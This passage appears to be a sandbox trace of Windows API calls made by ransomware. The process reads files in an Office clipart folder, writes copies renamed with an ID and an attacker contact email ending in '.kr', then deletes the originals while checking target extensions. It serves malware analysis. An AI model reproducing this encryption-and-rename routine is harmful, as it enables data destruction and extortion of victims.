Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.400] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=5314) returned 1 [0200.400] CloseHandle (hObject=0x558) returned 1 [0200.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 0x220 [0200.400] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.401] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.401] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.524] GetLastError () returned 0x0 [0200.525] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x14c2, lpOverlapped=0x0) returned 1 [0200.526] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x14d0, lpOverlapped=0x0) returned 1 [0200.527] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.527] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.528] SetEndOfFile (hFile=0x3e8) returned 1 [0200.528] CloseHandle (hObject=0x3e8) returned 1 [0200.528] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.528] SetEndOfFile (hFile=0x558) returned 1 [0200.531] CloseHandle (hObject=0x558) returned 1 [0200.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.534] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090781.wmf")) returned 1 [0200.534] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.535] lstrlenW (lpString=".doc") returned 4 [0200.535] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString=".docx") returned 5 [0200.535] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0200.535] lstrlenW (lpString=".pdf") returned 4 [0200.535] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString=".xls") returned 4 [0200.535] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.535] lstrlenW (lpString=".xlsx") returned 5 [0200.535] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0200.535] lstrlenW (lpString=".ppt") returned 4 [0200.535] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.535] lstrlenW (lpString=".zip") returned 4 [0200.535] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.535] lstrlenW (lpString=".rar") returned 4 [0200.535] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString=".bz2") returned 4 [0200.535] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString=".7z") returned 3 [0200.535] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.535] lstrlenW (lpString=".dbf") returned 4 [0200.535] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.535] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.535] lstrlenW (lpString=".1cd") returned 4 [0200.536] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.536] lstrlenW (lpString=".jpg") returned 4 [0200.536] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.536] lstrlenW (lpString=".doc") returned 4 [0200.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString=".docx") returned 5 [0200.536] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0200.536] lstrlenW (lpString=".pdf") returned 4 [0200.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString=".xls") returned 4 [0200.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.536] lstrlenW (lpString=".xlsx") returned 5 [0200.536] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0200.536] lstrlenW (lpString=".ppt") returned 4 [0200.536] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.536] lstrlenW (lpString=".zip") returned 4 [0200.536] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.536] lstrlenW (lpString=".rar") returned 4 [0200.536] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString=".bz2") returned 4 [0200.536] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.536] lstrlenW (lpString=".7z") returned 3 [0200.536] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.536] lstrlenW (lpString=".dbf") returned 4 [0200.536] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.537] lstrlenW (lpString=".1cd") returned 4 [0200.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090781.WMF") returned 68 [0200.537] lstrlenW (lpString=".jpg") returned 4 [0200.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.537] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.537] lstrlenW (lpString="J0090783.WMF") returned 12 [0200.537] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.538] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=6934) returned 1 [0200.538] CloseHandle (hObject=0x558) returned 1 [0200.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 0x220 [0200.538] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.538] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.539] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.539] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.540] GetLastError () returned 0x0 [0200.540] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x1b16, lpOverlapped=0x0) returned 1 [0200.542] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0x1b20, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0x1b20, lpOverlapped=0x0) returned 1 [0200.543] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.543] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.543] SetEndOfFile (hFile=0x3e8) returned 1 [0200.543] CloseHandle (hObject=0x3e8) returned 1 [0200.543] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.543] SetEndOfFile (hFile=0x558) returned 1 [0200.546] CloseHandle (hObject=0x558) returned 1 [0200.546] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.547] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090783.wmf")) returned 1 [0200.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.548] lstrlenW (lpString=".doc") returned 4 [0200.548] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString=".docx") returned 5 [0200.548] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.548] lstrlenW (lpString=".pdf") returned 4 [0200.548] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString=".xls") returned 4 [0200.548] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.548] lstrlenW (lpString=".xlsx") returned 5 [0200.548] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.548] lstrlenW (lpString=".ppt") returned 4 [0200.548] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.548] lstrlenW (lpString=".zip") returned 4 [0200.548] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.548] lstrlenW (lpString=".rar") returned 4 [0200.548] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString=".bz2") returned 4 [0200.548] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString=".7z") returned 3 [0200.548] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.548] lstrlenW (lpString=".dbf") returned 4 [0200.548] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.548] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.548] lstrlenW (lpString=".1cd") returned 4 [0200.549] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.549] lstrlenW (lpString=".jpg") returned 4 [0200.549] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.549] lstrlenW (lpString=".doc") returned 4 [0200.549] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString=".docx") returned 5 [0200.549] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0200.549] lstrlenW (lpString=".pdf") returned 4 [0200.549] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString=".xls") returned 4 [0200.549] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.549] lstrlenW (lpString=".xlsx") returned 5 [0200.549] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0200.549] lstrlenW (lpString=".ppt") returned 4 [0200.549] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.549] lstrlenW (lpString=".zip") returned 4 [0200.549] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.549] lstrlenW (lpString=".rar") returned 4 [0200.549] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.549] lstrlenW (lpString=".bz2") returned 4 [0200.550] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.550] lstrlenW (lpString=".7z") returned 3 [0200.550] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.550] lstrlenW (lpString=".dbf") returned 4 [0200.550] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.550] lstrlenW (lpString=".1cd") returned 4 [0200.550] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.550] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090783.WMF") returned 68 [0200.550] lstrlenW (lpString=".jpg") returned 4 [0200.550] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.550] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0200.550] lstrlenW (lpString="J0093905.WMF") returned 12 [0200.550] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.551] GetFileSizeEx (in: hFile=0x558, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=42050) returned 1 [0200.551] CloseHandle (hObject=0x558) returned 1 [0200.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 0x220 [0200.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0200.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x558 [0200.552] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.552] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.552] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0200.553] GetLastError () returned 0x0 [0200.553] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0xa442, lpOverlapped=0x0) returned 1 [0200.556] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xa450, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xa450, lpOverlapped=0x0) returned 1 [0200.557] ReadFile (in: hFile=0x558, lpBuffer=0x41b7020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x377fecc, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesRead=0x377fecc*=0x0, lpOverlapped=0x0) returned 1 [0200.558] WriteFile (in: hFile=0x3e8, lpBuffer=0x41b7020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x377fc94, lpOverlapped=0x0 | out: lpBuffer=0x41b7020*, lpNumberOfBytesWritten=0x377fc94*=0xec, lpOverlapped=0x0) returned 1 [0200.558] SetEndOfFile (hFile=0x3e8) returned 1 [0200.558] CloseHandle (hObject=0x3e8) returned 1 [0200.558] SetFilePointerEx (in: hFile=0x558, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x377fec0 | out: lpNewFilePointer=0x0) returned 1 [0200.558] SetEndOfFile (hFile=0x558) returned 1 [0200.658] CloseHandle (hObject=0x558) returned 1 [0200.659] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0200.930] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0093905.wmf")) returned 1 [0200.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.953] lstrlenW (lpString=".doc") returned 4 [0200.953] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.953] lstrlenW (lpString=".docx") returned 5 [0200.953] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0200.953] lstrlenW (lpString=".pdf") returned 4 [0200.953] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString=".xls") returned 4 [0200.954] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.954] lstrlenW (lpString=".xlsx") returned 5 [0200.954] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0200.954] lstrlenW (lpString=".ppt") returned 4 [0200.954] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString=".zip") returned 4 [0200.954] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.954] lstrlenW (lpString=".rar") returned 4 [0200.954] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString=".bz2") returned 4 [0200.954] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString=".7z") returned 3 [0200.954] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString=".dbf") returned 4 [0200.954] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString=".1cd") returned 4 [0200.954] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString=".jpg") returned 4 [0200.954] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.954] lstrlenW (lpString=".doc") returned 4 [0200.954] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString=".docx") returned 5 [0200.954] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0200.954] lstrlenW (lpString=".pdf") returned 4 [0200.954] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0200.954] lstrlenW (lpString=".xls") returned 4 [0200.955] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0200.955] lstrlenW (lpString=".xlsx") returned 5 [0200.955] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0200.955] lstrlenW (lpString=".ppt") returned 4 [0200.955] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.955] lstrlenW (lpString=".zip") returned 4 [0200.955] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0200.955] lstrlenW (lpString=".rar") returned 4 [0200.955] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0200.955] lstrlenW (lpString=".bz2") returned 4 [0200.955] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0200.955] lstrlenW (lpString=".7z") returned 3 [0200.955] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.955] lstrlenW (lpString=".dbf") returned 4 [0200.955] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.955] lstrlenW (lpString=".1cd") returned 4 [0200.955] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0200.955] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0093905.WMF") returned 68 [0200.955] lstrlenW (lpString=".jpg") returned 4 [0200.955] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0200.970] lstrcmpiW (lpString1=".JPG", lpString2=".kr") returned -1 [0200.970] lstrlenW (lpString="J0099150.JPG") returned 12 [0200.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534 [0200.971] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x377ff14 | out: lpFileSize=0x377ff14*=21914) returned 1 [0200.971] CloseHandle (hObject=0x534) returned 1 [0200.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft 